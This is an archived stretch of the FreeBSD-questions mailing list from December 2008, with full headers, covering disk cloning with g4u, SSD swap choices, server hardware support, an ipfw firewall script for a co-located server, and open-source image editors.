<200812041500.09469.perlcat@alltel.net> X-Cloudmark-Analysis: v=1.0 c=1 a=CTE117Eg/iuqh1XhPg9HnQ==:17 a=LF2H9gmUAAAA:8 a=MPUQOsYUVB78HaFJ2E8A:9 a=3TKPyQIdDRu68lWFvGP3T_Pyc0QA:4 a=LY0hPdMaydYA:10 Subject: Re: G4U inquiry X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 21:00:11 -0000 On Thursday 04 December 2008 14:44:40 Jean-Paul Natola wrote: > I have a bsd box with a 12 gig drive- I'm going to get a new drive (larger) > to replace it as it is quite old and slow - > > My question is when I clone it with g4u where will the extra space go > it's in the faq. http://www.feyrer.de/g4u/#disks 5.4 A word on disk sizes The question how g4u deals with different disk sizes arises a lot too. The general answer is, g4u works best with identical disk sizes & geometry. Putting an image from a small disk on a big disk works, putting an image from a big disk to a small disk is likely to cause problems. If you cannot avoid preparing an image on a big disk that'll get deployed to a small disk later, make sure the "extra" space is not occupied by a active partition or filesystem, else data loss is very likely to occur! If you intend to deploy a "small" image to a "big" disk, the extra space that's not covered by g4u can be used for creating a partition and a filesystem. You will have to do that on your own, e.g. using your operating systems' post installation steps. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 21:02:59 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AC3801065675 for ; Thu, 4 Dec 2008 21:02:59 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id F121F8FC18 for ; Thu, 4 Dec 2008 21:02:58 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB4L2c8b055843; Thu, 4 Dec 2008 22:02:38 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB4L2bJZ055840; Thu, 4 Dec 2008 22:02:37 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Thu, 4 Dec 2008 22:02:37 +0100 (CET) From: Wojciech Puchar To: Jean-Paul Natola In-Reply-To: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> Message-ID: <20081204220153.D55839@wojtek.tensor.gdynia.pl> References: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: FreeBSD Questions Subject: Re: G4U inquiry X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 21:02:59 -0000 > I have a bsd box with a 12 gig drive- I'm going to get a new drive (larger) > to replace it as it is quite old and slow - > > My question is when I clone it with g4u where will the extra space go why not simply partition new drive and copy everything? or use dd and then correct partiiton table unix has tools for this, much simpler much better and included ;) From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 21:20:28 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E9E97106564A for ; Thu, 4 Dec 2008 21:20:28 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id 9386D8FC12 for ; Thu, 4 Dec 2008 21:20:28 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id mB4LFN6n002736; Thu, 4 Dec 2008 16:15:23 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id mB4LFNwf002735; Thu, 4 Dec 2008 16:15:23 -0500 (EST) (envelope-from jerrymc) Date: Thu, 4 Dec 2008 16:15:23 -0500 From: Jerry McAllister To: Tyson Boellstorff Message-ID: <20081204211523.GA2693@gizmo.acns.msu.edu> References: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> <200812041500.09469.perlcat@alltel.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200812041500.09469.perlcat@alltel.net> User-Agent: Mutt/1.4.2.2i Cc: freebsd-questions@freebsd.org Subject: Re: G4U inquiry X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 21:20:29 -0000 On Thu, Dec 04, 2008 at 03:00:09PM -0600, Tyson Boellstorff wrote: > On Thursday 04 December 2008 14:44:40 Jean-Paul Natola wrote: > > > I have a bsd box with a 12 gig drive- I'm going to get a new drive (larger) > > to replace it as it is quite old and slow - > > > > My question is when I clone it with g4u where will the extra space go > > Usually you are much better off creating new [slices and] partitions with new appropriate sizes, newfs-ing the partitions to turn them in to filesystems and then copying the previous disk filesystem by filesystem to the new disk - using dump/restore. Then you will not be stuck with geometry mismatches and wasted disk space. I have posted excruciatingly detailed instructions for this sort of things about every coupld of months on this list as other have asked. A little searching should find one. If not, I can give a basic rundown. ////jerry > > it's in the faq. > > http://www.feyrer.de/g4u/#disks > > 5.4 A word on disk sizes > > The question how g4u deals with different disk sizes arises a lot too. > The general answer is, g4u works best with identical disk sizes & geometry. > Putting an image from a small disk on a big disk works, putting an image from > a big disk to a small disk is likely to cause problems. > > If you cannot avoid preparing an image on a big disk that'll get > deployed to a small disk later, make sure the "extra" space is not occupied > by a active partition or filesystem, else data loss is very likely to occur! > > If you intend to deploy a "small" image to a "big" disk, the extra space > that's not covered by g4u can be used for creating a partition and a > filesystem. You will have to do that on your own, e.g. using your operating > systems' post installation steps. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 22:47:09 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6689E106567C for ; Thu, 4 Dec 2008 22:47:09 +0000 (UTC) (envelope-from ipfreak@yahoo.com) Received: from web52105.mail.re2.yahoo.com (web52105.mail.re2.yahoo.com [206.190.48.108]) by mx1.freebsd.org (Postfix) with SMTP id F1A968FC18 for ; Thu, 4 Dec 2008 22:47:08 +0000 (UTC) (envelope-from ipfreak@yahoo.com) Received: (qmail 77801 invoked by uid 60001); 4 Dec 2008 22:47:07 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Message-ID; b=YzaS65n0SUV7uZvhFZMpCoS3mtnyILlrNulzTtkE864bo1+tbyex/ujF1292gij7Tfahn2gv9+Upa3kDKSGzXPtD04/TW9nfvn8I0JY5+pEbKBzTt5HlKbeo0sXWxqPSG9JD/BiI5JmeYlNe/uH6o0MNbxSAqXwpPsPg1GJ+HPs=; X-YMail-OSG: 7sRVv8IVM1krfjjGo_UA0f9MatVdznANRiNPrw9ZDVCl1X66_DtP7aU6PzHoobpeGBAvcT1zjD3zxPDMZENbE2REEFFUnL_Y1z5vVMRLdybE0Adf02PnnANe5MRpR3r_hvAkhBZHAVJ_UVCzxdLDosA9BnoMObFj6mM3jzE- Received: from [134.207.53.14] by web52105.mail.re2.yahoo.com via HTTP; Thu, 04 Dec 2008 14:47:07 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Thu, 4 Dec 2008 14:47:07 -0800 (PST) From: gahn To: freebsd general questions MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-ID: <794434.77440.qm@web52105.mail.re2.yahoo.com> X-Mailman-Approved-At: Thu, 04 Dec 2008 22:50:57 +0000 Subject: Dell poweredge 2970 (AMD) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: ipfreak@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 22:47:09 -0000 Hello, all: has anyone here ever installed freebsd on dell poweredge 2970 (amd)? Thanks From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 23:22:51 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 268841065670 for ; Thu, 4 Dec 2008 23:22:51 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.25]) by mx1.freebsd.org (Postfix) with ESMTP id CF0618FC0C for ; Thu, 4 Dec 2008 23:22:50 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: by qw-out-2122.google.com with SMTP id 9so1127147qwb.7 for ; Thu, 04 Dec 2008 15:22:49 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:subject:references:in-reply-to :content-type:content-transfer-encoding; bh=CO3Z33Jv4xOvMTk+RE+RGnybwmjni1Ks7U/978kn+iw=; b=Ag6YZsnRK+HevjAf9tBSN28QEJqoMkt5RIGx+2S+DV7M9mWMGwgAP1XFz43t0DYuc1 np1WwaS3mhDWKuHzuVnpUz6uyO3me2n2I4q7VuzmHtQjQc7Z6h/+urguyGr4SUiUcz0A 6GWKTub79q3kjduKv7rohXv2gpo/XAQ8bgZcY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; b=Mwv1N9ZiMbkTOZqczQppRp+JKyRh9fA6t3xoYBNRi13SrnvlpuU4xAR6xNGekWgGjr THr2GeaQkFrzSuksX1tq+UHqHJD94Q/Yq5ymsckqLxKjGWuMB6tbyPvkJKkBP7Gj19NG NrTpDCHB+YOQ40hPwvw/VTkVTdV/tiFtQbhTg= Received: by 10.214.150.21 with SMTP id x21mr15746873qad.143.1228432969897; Thu, 04 Dec 2008 15:22:49 -0800 (PST) Received: from ?192.168.1.104? (adsl-074-245-053-043.sip.jax.bellsouth.net [74.245.53.43]) by mx.google.com with ESMTPS id 4sm9998102yxd.2.2008.12.04.15.22.48 (version=TLSv1/SSLv3 cipher=RC4-MD5); Thu, 04 Dec 2008 15:22:49 -0800 (PST) Message-ID: <49386648.9090009@gmail.com> Date: Thu, 04 Dec 2008 18:22:48 -0500 From: michael User-Agent: Thunderbird 2.0.0.17 (X11/20080925) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <794434.77440.qm@web52105.mail.re2.yahoo.com> In-Reply-To: <794434.77440.qm@web52105.mail.re2.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Dell poweredge 2970 (AMD) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 23:22:51 -0000 yes, but the components of yours will matter. perc5i/perc6i etc. i think 7.1 works on the perc6 unless you don't even have the perc crap anyway. gahn wrote: > Hello, all: > > has anyone here ever installed freebsd on dell poweredge 2970 (amd)? > > Thanks > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 23:32:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C0C341065676 for ; Thu, 4 Dec 2008 23:32:50 +0000 (UTC) (envelope-from frank@esperance-linux.co.uk) Received: from mailout.zetnet.co.uk (mailout.zetnet.co.uk [194.247.47.231]) by mx1.freebsd.org (Postfix) with ESMTP id 524188FC0C for ; Thu, 4 Dec 2008 23:32:50 +0000 (UTC) (envelope-from frank@esperance-linux.co.uk) Received: from irwell.zetnet.co.uk ([194.247.47.48] helo=zetnet.co.uk) by mailout.zetnet.co.uk with esmtp (Exim 4.63) (envelope-from ) id 1L8NQr-0006UC-Rj; Thu, 04 Dec 2008 23:16:29 +0000 Received: from melon.esperance-linux.co.uk (54-144.adsl.zetnet.co.uk [194.247.54.144]) by zetnet.co.uk (8.14.1/8.14.1/Debian-9) with ESMTP id mB4NGTSg001045; Thu, 4 Dec 2008 23:16:29 GMT Received: by melon.esperance-linux.co.uk (Postfix, from userid 1001) id D1D27FCB841; Thu, 4 Dec 2008 23:16:23 +0000 (GMT) Date: Thu, 4 Dec 2008 23:16:23 +0000 From: Frank Shute To: "Anthony M. Rasat" Message-ID: <20081204231623.GA47441@melon.esperance-linux.co.uk> Mail-Followup-To: "Anthony M. Rasat" , freebsd-questions@freebsd.org References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> User-Agent: Mutt/1.4.2.3i X-Face: *}~{PHnDTzvXPe'wl_-f%!@+r5; VLhb':*DsX%wEOPg\fDrXWQJf|2\,92"DdS%63t*BHDyQ|OWo@Gfjcd72eaN!4%NE{0]p)ihQ1MyFNtWL X-Operating-System: FreeBSD 6.3-RELEASE-p2 i386 X-Organisation: 'http://www.shute.org.uk/' X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.1.7 (zetnet.co.uk [194.247.46.1]); Thu, 04 Dec 2008 23:16:29 +0000 (GMT) Cc: freebsd-questions@freebsd.org Subject: Re: To swap or not to swap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Frank Shute List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 23:32:50 -0000 On Tue, Dec 02, 2008 at 04:56:52PM +0000, Anthony M. Rasat wrote: > > Fellas, I need opinions. Asus Eee PC, SSD storage, 512MB RAM, with > GNOME and other desktop thingy (testing out of curiousity). > > > Question is, swap or no swap? Remember, this is SSD, it is > reasonable to have no swap. However, what if I wanted OpenOffice? > This beast is memory hog AFAIK. Thanks for opinions. > What you need to do to make an informed decision is to get the characteristics of the SSD. How many writes can each cell stand? Does it have any wear levelling firmware? I'd be tempted to have swap and if it starts to crap out, replace with bigger/better SSD which as things stand should have improved write durability. There are already (or coming out) new SSDs with improved write performance & wear levelling, which if the manufacturers are to be believed, out perform electro-mechanical HDs in durability As Wojciech says, I'd dump Gnome & use some lightweight WM like fluxbox so all your memory isn't sucked up & you start to go into swap. ie. hit swap as little as possible by your choice of softs (am glad I use LaTeX ;) The alternative to not having swap is a machine that on occasion could run out of memory. I don't know what happens in those circumstances but I doubt if it's pretty. > -- > > Regards, > Regards, -- Frank Contact info: http://www.shute.org.uk/misc/contact.html From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 00:32:45 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BE8361065672 for ; Fri, 5 Dec 2008 00:32:45 +0000 (UTC) (envelope-from gwg7webbcom@yahoo.com) Received: from web52202.mail.re2.yahoo.com (web52202.mail.re2.yahoo.com [206.190.48.125]) by mx1.freebsd.org (Postfix) with SMTP id 67E918FC08 for ; Fri, 5 Dec 2008 00:32:45 +0000 (UTC) (envelope-from gwg7webbcom@yahoo.com) Received: (qmail 68176 invoked by uid 60001); 5 Dec 2008 00:26:04 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Message-ID; b=cyEtLubw7Eas/dWc54XXBOvXNtPARM/SLPEYlHS/SVQtgMmWs144xEJTYGouFR5EUlqrnIg60qcJ1a3VmrUlWm9oqvQ7AMBVqtRBnBy04x/GKXjW865b6kdUbavbA+XKpto8T/uQne+nEIqPstgYYkOXtz+Dnrhgw3lO7Zkific=; X-YMail-OSG: rrv7mwkVM1leZ4ufGVyARO6PyyIAL_41EevT9b71eUVzCIjxuqU8BlvD04I0niTvhxEeUKqIiTM8qbqnnoymYp28v_bANe0a4LKD0gHmiUdcPclc4dEa1Ur10uMTW85TwSKfdW_01asOAxDUeCtF4uMWvmmyffXTBBNu6WqkD_xSTbWA4MjrB5ELi37Lhl4GUUNLUywfwNdymqUwSTFadhvaP5SgAiSvT6T5XjABeDcWS_4Qd3A- Received: from [71.180.152.129] by web52202.mail.re2.yahoo.com via HTTP; Thu, 04 Dec 2008 16:26:04 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Thu, 4 Dec 2008 16:26:04 -0800 (PST) From: G magicman To: Freebsd Questions MIME-Version: 1.0 Message-ID: <916515.67967.qm@web52202.mail.re2.yahoo.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: IPFW Firewall Question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: gwg7webbcom@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 00:32:45 -0000 1.=A0 I need help to reconfigure my firewall on the server using BSD's ipfw here is part of the configuration file so far that the Co-lo people put in. 2. short of a reboot how do you start stop and restart the=A0 firewall #!/usr/local/bin/bash export IPF=3D"ipfw -q add" ports=3D"11 21 22 23 25 37 42 43 53 63 69 70 80 101 109 110 115 119 123 143= 443 4321 50001" clearaddresses=3D"209.131.0.0/16 66.65.0.0/16 71.173.96.0/19 71.173.128.0/1= 7 blah blah" count=3D60 ipfw -q -f flush $IPF 10 allow all from any to any via lo0 $IPF 20 deny all from any to 127.0.0.0/8 $IPF 30 deny all from 127.0.0.0/8 to any $IPF 40 deny tcp from any to any frag $IPF 50 allow icmp from any to any for a in $clearaddresses; do =A0=A0=A0=A0=A0=A0=A0 $IPF $count allow ip from $a to any =A0=A0=A0=A0=A0=A0=A0 $IPF $(($count+1)) allow ip from any to $a =A0=A0=A0=A0=A0=A0=A0 count=3D$(($count+10)) done for p in $ports; do =A0=A0=A0=A0=A0=A0=A0 $IPF $count allow ip from any to any $p in =A0=A0=A0=A0=A0=A0=A0 $IPF $(($count+1)) allow ip from any to any $p out =A0=A0=A0=A0=A0=A0=A0 $IPF $(($count+2)) allow ip from any $p to any in =A0=A0=A0=A0=A0=A0=A0 $IPF $(($count+3)) allow ip from any $p to any out =A0=A0=A0=A0=A0=A0=A0 count=3D$(($count+10)) done $IPF 5000 deny log all from any to any echo Firewall created Here is what i want : 1. i want all ports open to the ipaddresses in line 4 "clearaddresses" 2. I want to be able to control access to port 25 sendmail to be able to de= ny =A0=A0=A0=A0=A0 whole "A" "B" and "C" addresses Why because of the following: 1. Hosts.access=A0 on freebsd works on the Application Layer instead of the= Network Layer Therefore Hosts.allow/hosts.deny=A0=A0 no longer works the way i want and i= do not feel like running Sendmail and sshd out of Inetd which appearantly = is the only way to be able to use hosts.allow/deny 2. Next openssh doesnot have an AllowHosts directive like the Finnish one d= oes it only has an AllowUsers directive so i need to protect the system fro= m DDOS attacks and Hacking I already tried to block things using the Sendmail Access file but all that= did was choak up the server with moronic shit.=A0 And i want to be able to= use my sftp program but it opens random ports which can not be controlled = so i need the Clearaddresses to be able to see all ports. =0A=0A=0A From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 00:40:55 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BDF911065672 for ; Fri, 5 Dec 2008 00:40:55 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (muon.cran.org.uk [66.246.138.153]) by mx1.freebsd.org (Postfix) with ESMTP id 927B28FC0C for ; Fri, 5 Dec 2008 00:40:55 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (localhost [127.0.0.1]) by muon.cran.org.uk (Postfix) with ESMTP id E9B8819002; Thu, 4 Dec 2008 19:40:53 -0500 (EST) X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on muon X-Spam-Level: X-Spam-Status: No, score=-2.2 required=8.0 tests=AWL,BAYES_00,RDNS_NONE autolearn=no version=3.2.5 Received: from tau (unknown [66.45.161.67]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by muon.cran.org.uk (Postfix) with ESMTPSA; Thu, 4 Dec 2008 19:40:53 -0500 (EST) Date: Thu, 4 Dec 2008 16:40:48 -0800 From: Bruce Cran To: Frank Shute Message-ID: <20081204164048.1c3bf0fb@tau> In-Reply-To: <20081204231623.GA47441@melon.esperance-linux.co.uk> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> <20081204231623.GA47441@melon.esperance-linux.co.uk> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.14.4; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: "Anthony M. Rasat" , freebsd-questions@freebsd.org Subject: Re: To swap or not to swap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 00:40:55 -0000 On Thu, 4 Dec 2008 23:16:23 +0000 Frank Shute wrote: > The alternative to not having swap is a machine that on occasion could > run out of memory. I don't know what happens in those circumstances > but I doubt if it's pretty. FreeBSD behaves fairly nicely when it runs out of memory: when I last checked it killed off the memory hog, as one might expect. There's an argument that the memory hog might just be your important database or something and the right course of action would be to panic and make sure someone gets alerted to the fact the machine's run out of memory; however the current behaviour seems good to me. -- Bruce Cran From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 00:49:02 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 52DDD1065672 for ; Fri, 5 Dec 2008 00:49:02 +0000 (UTC) (envelope-from gwg7webbcom@yahoo.com) Received: from web52209.mail.re2.yahoo.com (web52209.mail.re2.yahoo.com [206.190.48.132]) by mx1.freebsd.org (Postfix) with SMTP id DA0FB8FC12 for ; Fri, 5 Dec 2008 00:49:01 +0000 (UTC) (envelope-from gwg7webbcom@yahoo.com) Received: (qmail 68365 invoked by uid 60001); 5 Dec 2008 00:22:20 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Message-ID; b=Ww78lXS7/Qob/2jfv1zANdWAyaVbYZuuizh4j9yRyqouo7oHTGBMjPNaKXUHseJnMjdlkp79a5BQhmG8eBSyhD8iXT7n3vuuTN50rGKFP7abtE+E2hnUFs2euyi1d51GNwW8PV1yv7bQwXfKUfAoMdKpJwcEVnZGWS6+3fc0ZEY=; X-YMail-OSG: 0y_ABH0VM1n9L62ucKKBZMBpn6.qKjq_z3Bd_IWVSfJ8g1bCqFuRwmvGea82P41svWmJLhBzpKC0033wvxlGiydDYBNIoPqT.zfwlomSoJXheuC8oSffoGPf1Fng9oM.mG8jc2S1zAY5nC2v5vvRLsnQAjoHoYHTC3O.I.E- Received: from [71.180.152.129] by web52209.mail.re2.yahoo.com via HTTP; Thu, 04 Dec 2008 16:22:20 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Thu, 4 Dec 2008 16:22:20 -0800 (PST) From: G magicman To: freebsd-questions@freebsd.org MIME-Version: 1.0 Message-ID: <592613.67715.qm@web52209.mail.re2.yahoo.com> X-Mailman-Approved-At: Fri, 05 Dec 2008 01:07:18 +0000 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Image Programs X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: gwg7webbcom@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 00:49:02 -0000 Hello=A0 does anyone know the following 1.=A0 Does Freebsd have a program like Photoshop avail to use a copy-left G= NU license type ? and a form of Thumbsplus which allows me to do rudimentar= y picture manipulations changing file type, cropping etc.=A0 i have all the= 3d programs but not these 2 basic ones. Thank you =0A=0A=0A From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 01:34:58 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4F889106564A for ; Fri, 5 Dec 2008 01:34:58 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.24]) by mx1.freebsd.org (Postfix) with ESMTP id 078F68FC0C for ; Fri, 5 Dec 2008 01:34:57 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: by qw-out-2122.google.com with SMTP id 9so1140025qwb.7 for ; Thu, 04 Dec 2008 17:34:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:cc:subject:references:in-reply-to :content-type:content-transfer-encoding; bh=nrNX3+HvyIbrCA7zfBw6l10QLYoQZxrL9RsAoHN1c3s=; b=GSmcpqFz2i9cvMTAstr38o5xpdWb1XMgSkeSRhfyqDDay2BGHbjLUY/hUvB2ajEnsl zXWS1kCu8ekS5SCCXbASwU/+weImat3zpBH9eYngwj7TTUQAw2H334tQbfTo/c1L2bcN 53r+WcATOpyFgH8B/DOm671D6d/eWJGwnoQgc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; b=ONrMt0pFjwVJKgKYghG5wY4kPlwd8LLpBVSkNjpxSSKo7qSwf/Fy/wvszT/NWs+bSK eBSu+JukuGhOPuNZH/ym83meX1Qp8Gwy++lEgcTXGYuSaZrr1NQG0qla/if68Z+RVinj 1BxLaamwnfH1ER/chqQESfLyNeCoAgrHFm7Vs= Received: by 10.215.67.3 with SMTP id u3mr15815430qak.250.1228440896990; Thu, 04 Dec 2008 17:34:56 -0800 (PST) Received: from ?192.168.1.104? (adsl-074-245-053-043.sip.jax.bellsouth.net [74.245.53.43]) by mx.google.com with ESMTPS id 4sm10165498yxq.9.2008.12.04.17.34.55 (version=TLSv1/SSLv3 cipher=RC4-MD5); Thu, 04 Dec 2008 17:34:56 -0800 (PST) Message-ID: <4938853F.9090909@gmail.com> Date: Thu, 04 Dec 2008 20:34:55 -0500 From: michael User-Agent: Thunderbird 2.0.0.17 (X11/20080925) MIME-Version: 1.0 To: gwg7webbcom@yahoo.com References: <592613.67715.qm@web52209.mail.re2.yahoo.com> In-Reply-To: <592613.67715.qm@web52209.mail.re2.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Image Programs X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 01:34:58 -0000 G magicman wrote: > Hello does anyone know the following > > 1. Does Freebsd have a program like Photoshop avail to use a copy-left GNU license type ? and a form of Thumbsplus which allows me to do rudimentary picture manipulations changing file type, cropping etc. i have all the 3d programs but not these 2 basic ones. > > > Thank you > > > > gimp, imagemagick. > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > 